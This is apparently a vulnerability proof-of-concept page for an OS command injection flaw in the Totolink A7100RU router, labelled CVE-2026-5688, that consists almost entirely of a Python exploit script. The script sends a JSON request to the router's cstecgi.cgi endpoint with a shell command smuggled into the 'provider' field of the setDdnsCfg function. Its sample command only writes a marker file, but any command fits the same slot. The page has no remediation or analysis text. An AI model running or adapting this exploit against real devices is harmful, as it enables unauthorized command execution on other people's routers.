CVE-2026-5688: Totolink A7100RU OS命令注入漏洞

import requests # Target URL url = "http://<target_ip>/cgi-bin/cstecgi.cgi" # Vulnerable payload: Injecting a command to echo a string or execute a shell command # Using ';' to separate commands in the shell payload = { "function": "setDdnsCfg", "provider": "; echo 'CVE-2026-5688_POC' > /tmp/poc_test.txt", "hostname": "test", "ddns_enable": "1" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Compatible; CVE-Scanner)" } try: # Send payload to the vulnerable endpoint response = requests.post(url, json=payload, headers=headers, timeout=5) # Check if the request was processed if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if the command was executed on the target.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")